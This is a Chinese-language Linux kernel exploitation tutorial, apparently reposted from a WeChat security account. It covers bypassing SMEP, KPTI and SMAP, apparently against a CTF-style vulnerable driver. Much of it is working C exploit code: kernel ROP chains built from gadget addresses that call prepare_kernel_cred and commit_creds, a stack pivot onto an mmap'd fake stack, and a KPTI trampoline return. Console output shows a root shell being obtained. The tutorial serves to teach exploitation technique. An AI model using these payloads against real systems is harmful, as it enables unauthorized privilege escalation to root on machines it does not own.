Linux Kernel Pwn Part 2

admin 2022年2月5日11:06:40评论92 views字数 10461阅读34分52秒阅读模式

在Part 1部分我们关闭了所有的保护方式,包括SMEPKPTISMAP


本章节会逐个的开启这些保护方式,并探讨如果绕过这些机制。


Bypass SMEP


在Part1中,用于覆盖返回地址的函数escalate_privs存在userspace中,当开启SMEP时,在kernel-mode下,userspace地址被标记为non-executable。这一点很像userland下的NX保护,同样的,在userland下我们使用ROP,在kernelland下,有Kernel ROP.


值得注意的是,get_shell是在由kernel-mode去换到user-mode之后完成的,因此不会受到SMEP的影响,不需要ROPchain。


Try To Overwrite CR4


在Part 1中提到,SMEP由CR4寄存器的20th bit控制,而在kernel-mode下,我们可以修改CR4寄存器的值,例如mov,cr4,rax;有一个通用的函数native_write_cr4(value)可以修改CR4的值为指定的value,该函数同样在kernel地址空间中


/ # cat /proc/kallsyms | grep native_write_cr4ffffffff814443e0 T native_write_cr4

通过ROP构造上述函数执行,实现修改CR4寄存器。

通过ROPgadget --binary vmlunix > gadgets.txt获取所有的gadget,从中找到pop rdi, ret

通过调试kernel或者触发崩溃可以得到正常情况下的CR4值,20thbit对应的值是0x100000


[   10.349798] CR2: ffff88800686a200 CR3: 000000000655c000 CR4: 00000000001006f0>>> hex(1<<20)'0x100000'

当20th bit清零后,CR4值为0x6f0;下面的代码即可以修改CR4


void exploit(){       unsigned long pop_rdi_ret = 0xffffffff81006370;    unsigned long native_write_cr4 = 0xffffffff814443e0;    unsigned long payload[0x100/8];    unsigned long offset = 0x80/8;    payload[offset++] = cookie;    payload[offset++] = 0x0;    payload[offset++] = 0x0;    payload[offset++] = 0x0;    payload[offset++] = (unsigned long)pop_rdi_ret;
payload[offset++] = 0x6f0; payload[offset++] = (unsigned long)native_write_cr4;
payload[offset++] = (unsigned long)escalate_privs;
puts("[*] Prepared payload"); size_t size = write(global_fd, payload, sizeof(payload)); puts("[!] Should never be reached");}

但是实际上,失败了,kernel崩溃了,panic输出


[*] Prepared payload[   19.393575] unable to execute userspace code (SMEP?) (uid: 1000)...[   19.404200] CR2: 0000000000401102 CR3: 0000000006508000 CR4: 00000000001006f0

发现CR4的值没有改动,SMEP仍然处于enable状态。


Escalation ROPchain


既然无法改写CR4禁用SMEP,就只好通过ROP的方式完成escalate_priv


  • ROP 构造  prepare_kernel_cred(0)

  • ROP 构造commit_creds(),以上一步的返回值为参数

  • ROP 构造  swapgs; ret

  • ROP 构造 stack setup, RIP|CS|RFLAGS|SP|SS

  • ROP 构造 iretq


在导出的gadgets.txt搜索到下面的代码片段,可以完成前三个步骤的ROPchain


0xffffffff81006370 : pop rdi ; ret          // 传递函数第一个参数
0xffffffff81007616 : pop rdx ; ret // 设置rdx0xffffffff81c0f8b2 : cmp rdx, -1 ; jne 0xffffffff81c0f8a7 ; ret // rdx等于-1 不会跳转0xffffffff8166ff23 : mov rdi, rax ; jne 0xffffffff8166fef3 ; pop rbx ; pop rbp ; ret // 受上述cmp rdx -1影响不会跳转
0xffffffff8100a55f : swapgs ; pop rbp ; ret // swapgs

但是在gadgets.txt里没有找到iretq指令,objdump可以发现


$ objdump -j .text -d ./vmlinux  | grep iretq | head -3ffffffff8100c0d9:   48 cf                   iretq  ffffffff81200fc7:   48 cf                   iretq  ffffffff81201485:   48 cf                   iretq


构造下面的exploit函数


void exploit_smep(){   

user_rip = (unsigned long)get_root_shell; unsigned long prepare_kernel_cred = 0xffffffff814c67f0; unsigned long commit_creds = 0xffffffff814c6410;
unsigned long pop_rdi_ret = 0xffffffff81006370; unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret unsigned long cmp_rdx_jne_ret = 0xffffffff81c0f8b2; // cmp rdx, -1 ; jne 0xffffffff81c0f8a7 ; ret unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cb3 ; pop rbx ; pop rbp ; ret unsigned long mov_rdi_rax_pop2_ret = 0xffffffff8166ff23; // mov rdi, rax ; jne 0xffffffff8166fef3 ; pop rbx ; pop rbp ; ret unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret unsigned long iretq = 0xffffffff8100c0d9;

unsigned long payload[60]; // 该值太大会覆盖其他栈帧内的cookie造成stack guard终止 unsigned long offset = 0x80/8;

payload[offset++] = cookie; payload[offset++] = 0x0; payload[offset++] = 0x0; payload[offset++] = 0x0;
payload[offset++] = (unsigned long)pop_rdi_ret;

payload[offset++] = 0x00; payload[offset++] = (unsigned long)prepare_kernel_cred; payload[offset++] = (unsigned long)pop_rdx_ret; payload[offset++] = 8; payload[offset++] = cmp_rdx_jne_pop2_ret; payload[offset++] = 0; payload[offset++] = 0; payload[offset++] = mov_rdi_rax_pop2_ret; payload[offset++] = 0x0; payload[offset++] = 0x0; payload[offset++] = commit_creds; payload[offset++] = swapgs_pop1_ret; // swapgs ; pop rbp ; ret payload[offset++] = 0x0; // payload[offset++] = iretq; // iretq payload[offset++] = user_rip; payload[offset++] = user_cs; payload[offset++] = user_rflags; payload[offset++] = user_sp; payload[offset++] = user_ss;

puts("[*] Prepared payload"); size_t size = write(global_fd, payload, sizeof(payload)); puts("[!] Should never be reached");}
stack pivoting


在userland的漏洞利用中,如果栈溢出长度只能够覆盖到返回地址而无法完全构造整个ROPchain时,一个有效的构造手段就是stack pivot,需要修改rsp到可控的地址(提前布置一个fake stack)。


在userland中,并需要修改保存的rbp,通过leave类的指令间接地修改rsp


在kernel-mode下,该方法实现更容易,因为有大量的gadget可以使用。最常用的就是可以直接修改rsp/esp的指令,只要保证值是页对齐的就合适。例如:


0xffffffff8196f56a : mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret

由于esp将变为0x5b000000,我们可以在该地址映射可执行的page,提前写入ROPchain,溢出时只需要覆盖返回地址即可执行ROPchain


void stack_pivot(){
user_rip = (unsigned long)get_root_shell; unsigned long prepare_kernel_cred = 0xffffffff814c67f0; unsigned long commit_creds = 0xffffffff814c6410;
unsigned long pop_rdi_ret = 0xffffffff81006370; unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret unsigned long cmp_rdx_jne_ret = 0xffffffff81c0f8b2; // cmp rdx, -1 ; jne 0xffffffff81c0f8a7 ; ret unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cb3 ; pop rbx ; pop rbp ; ret unsigned long mov_rdi_rax_pop2_ret = 0xffffffff8166ff23; // mov rdi, rax ; jne 0xffffffff8166fef3 ; pop rbx ; pop rbp ; ret unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret unsigned long iretq = 0xffffffff8100c0d9;

unsigned long *fake_stack = mmap((void*)(0x5b000000 - 0x1000), 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0); unsigned offset = 0x1000 / 8; // ROPchain in second page fake_stack[0] = 0xdead; // write first page to prevent fault fake_stack[offset++] = 0x0; // r12 fake_stack[offset++] = 0x0; // rbp
fake_stack[offset++] = (unsigned long)pop_rdi_ret;
fake_stack[offset++] = 0x00; fake_stack[offset++] = (unsigned long)prepare_kernel_cred; fake_stack[offset++] = (unsigned long)pop_rdx_ret; fake_stack[offset++] = 8; fake_stack[offset++] = cmp_rdx_jne_pop2_ret; fake_stack[offset++] = 0; fake_stack[offset++] = 0; fake_stack[offset++] = mov_rdi_rax_pop2_ret; fake_stack[offset++] = 0x0; fake_stack[offset++] = 0x0; fake_stack[offset++] = commit_creds; fake_stack[offset++] = swapgs_pop1_ret; // swapgs ; pop rbp ; ret fake_stack[offset++] = 0x0; // fake_stack[offset++] = iretq; // iretq fake_stack[offset++] = user_rip; fake_stack[offset++] = user_cs; fake_stack[offset++] = user_rflags; fake_stack[offset++] = user_sp; fake_stack[offset++] = user_ss;


unsigned long payload[60]; unsigned long off = 0x80/8; payload[off++] = cookie; payload[off++] = 0x0; payload[off++] = 0x0; payload[off++] = 0x0; // only overwrite return address payload[off++] = 0xffffffff8196f56a; // mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret puts("[*] Prepared payload"); size_t size = write(global_fd, payload, sizeof(payload)); puts("[!] Should never be reached");}

构造fake_stack时需要注意的几点

  • mmap两个pages,从0x5b000000 - 0x1000开始而不是0x5b000000,这是因为在fake_stack里执行的函数会导致栈生长,如果esp指向page的起始地址,可能导致fake_stack栈空间不足,异常结束。

  • 第一个空白页,我们需要写入一个dirty值,否则导致Double Fault


[   44.010031] traps: PANIC: double fault, error_code: 0x0[   44.010827] double fault: 0000 [#1] SMP NOPTI

ByPass KPTI


Page Table


每一个进程都有一个指向进程自身的页表,由CR3寄存器指定。


KPTI

Kernel Page-table isolation,该机制引入kernel防止meltdown攻击,在userland没有类似的机制。


如果没有KPTI,从kernel-mode切换到user-mode时,Linux会在其页表中保存整个内核内存的映射,这样做的优点是当应用程序向内核发送系统调用或者接收到中断时,内核页表始终存在,可以避免大多数上下文切换的开销。


开启KPTI后,userland页表只有部分内核映射(用于中断入口出口),而避免了内核页表的泄漏。


bypass

在开启KPTI的情况下,目前为止得到所有exploit都将造成crash,有趣的是该crash是在userland常见的Segmentation fault

/ $ ./exploit [*] Saved state[*] Opened device[*] Leak 160 bytes[*] Cookie: 0x6e0d7bffd02b0400[*] Prepared payloadSegmentation fault

这是由于尽管回到了user-mode,page-tables依然是kernel-mode的(并没有主动交换页表),在kernel-mode下userland的pages是不可执行的。


绕过KPTI的两种常见方法:


使用signal handler:这种方法很简单,机智。原理这个崩溃导致userland处理SIGSEGV信号,我们可以为它注册一个信号处理句柄,只需要在main函数中加上以下简单的语句

signal(SIGSEGV, get_root_shell);

疑惑地是,即使作为handlerget_root_shell函数依然是在不可执行的页面上。


KPTI trampoline:基于的理论是“如果一个syscall正常返回,那么内核中一定有一段代码会将page tables交换回userland,因此我们可以利用这段代码达到目的。这段代码称为KPTI trampoline,它的作用就是交换page tables, swapgsiretq


这段代码所在的函数是swapgs_restore_regs_and_return_to_usermode(),在/proc/kallsyms中一样可以找到其地址。

/ # cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermodeffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode

该函数的起始部分代码

.text:FFFFFFFF81200F10                 pop     r15.text:FFFFFFFF81200F12                 pop     r14.text:FFFFFFFF81200F14                 pop     r13.text:FFFFFFFF81200F16                 pop     r12.text:FFFFFFFF81200F18                 pop     rbp.text:FFFFFFFF81200F19                 pop     rbx.text:FFFFFFFF81200F1A                 pop     r11.text:FFFFFFFF81200F1C                 pop     r10.text:FFFFFFFF81200F1E                 pop     r9.text:FFFFFFFF81200F20                 pop     r8.text:FFFFFFFF81200F22                 pop     rax.text:FFFFFFFF81200F23                 pop     rcx.text:FFFFFFFF81200F24                 pop     rdx.text:FFFFFFFF81200F25                 pop     rsi.text:FFFFFFFF81200F26                 mov     rdi, rsp.text:FFFFFFFF81200F29                 mov     rsp, qword ptr gs:unk_6004.text:FFFFFFFF81200F32                 push    qword ptr [rdi+30h].text:FFFFFFFF81200F35                 push    qword ptr [rdi+28h].text:FFFFFFFF81200F38                 push    qword ptr [rdi+20h].text:FFFFFFFF81200F3B                 push    qword ptr [rdi+18h].text:FFFFFFFF81200F3E                 push    qword ptr [rdi+10h].text:FFFFFFFF81200F41                 push    qword ptr [rdi].text:FFFFFFFF81200F43                 push    rax.text:FFFFFFFF81200F44                 jmp     short loc_FFFFFFFF81200F89

通过pop从栈上恢复大量寄存器,这一部分会增加ROPchain的负载,因此我们这里的kpti_trampoline只从pop之后的第一条指令的位置,即func+22位置。


该函数里最关键的代码

.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:                   ; CODE XREF: sub_FFFFFFFF812010D0-18C↑j  .text:FFFFFFFF81200F89                 pop     rax  .text:FFFFFFFF81200F8A                 pop     rdi  .text:FFFFFFFF81200F8B                 call    cs:off_FFFFFFFF82040088  .text:FFFFFFFF81200F91                 jmp     cs:off_FFFFFFFF82040080
..... .data:FFFFFFFF82040088 off_FFFFFFFF82040088 dq offset sub_FFFFFFFF8146D4E0 .data:FFFFFFFF82040080 off_FFFFFFFF82040080 dq offset sub_FFFFFFFF81200FC0
..... .text.native_swapgs:FFFFFFFF8146D4E0 sub_FFFFFFFF8146D4E0 proc near ; CODE XREF: sub_FFFFFFFF8100A540+E↑p .text.native_swapgs:FFFFFFFF8146D4E0 ; sub_FFFFFFFF8100A570+17↑p ... .text.native_swapgs:FFFFFFFF8146D4E0 push rbp .text.native_swapgs:FFFFFFFF8146D4E1 mov rbp, rsp .text.native_swapgs:FFFFFFFF8146D4E4 swapgs .text.native_swapgs:FFFFFFFF8146D4E7 pop rbp .text.native_swapgs:FFFFFFFF8146D4E8 retn .text.native_swapgs:FFFFFFFF8146D4E8 sub_FFFFFFFF8146D4E0 endp
... .text:FFFFFFFF81200FC0 test byte ptr [rsp+arg_18], 4 ..... .text:FFFFFFFF8120102E mov rdi, cr3 .text:FFFFFFFF81201031 jmp short loc_FFFFFFFF81201067 .text:FFFFFFFF81201033 ; ------------------------------------------------------ .text:FFFFFFFF81201067 loc_FFFFFFFF81201067: ; CODE XREF: sub_FFFFFFFF81200FC0+71↑j .text:FFFFFFFF81201067 or rdi, 1000h .text:FFFFFFFF8120106E mov cr3, rdi
.... .text:FFFFFFFF81200FC7 iretq

swapgs用于切换kernel-mode和user-mode的GS寄存器


mov rdi, cr3; or rdi, 0x1000; mov cr3, rdi;代码段用于切换CR3寄存器。


iretq切换到user-mode。


因此,利用该函数的代码片段即可以完成swapgs; swap page tables; iretq等操作,构造的payload如下

...    payload[offset++] = commit_creds;    payload[offset++] = kpti_trampoline;     payload[offset++] = 0x0;    payload[offset++] = 0x0;    payload[offset++] = user_rip;    payload[offset++] = user_cs;    payload[offset++] = user_rflags;    payload[offset++] = user_sp;    payload[offset++] = user_ss;    ....

也可以利用gadget执行交换page tables的操作,有同样的效果,这是这个函数内集成了多个gadget序列,比较便利。


这种方式可以绕过KPTI策略。


/ $ ./exploit   [*] Saved state  [*] Opened device  [*] Leak 160 bytes  [*] Cookie: 0x14324065f2932600  [*] Prepared payload  [*] Returned to userland  [*] UID: 0, got root priv  / # id  uid=0 gid=0


Bypass SMAP


同SMEP类似,当进程在kernel-mode下时,userspace的地址空间标记为不可读、不可写。

显然,通过ROPchain的方式绕过SMEP的策略也适用于绕过SMAP(结合绕过KPTI的策略)


来源:先知 

注:如有侵权请联系删除


Linux Kernel Pwn Part 2

欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)

Linux Kernel Pwn Part 2

努力的目的不是为了达到别人所设定的目标,

而是可以更有底气的去选择自己想要的生活。

原文始发于微信公众号(衡阳信安):Linux Kernel Pwn Part 2

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月5日11:06:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux Kernel Pwn Part 2https://cn-sec.com/archives/765083.html

发表评论

匿名网友 填写信息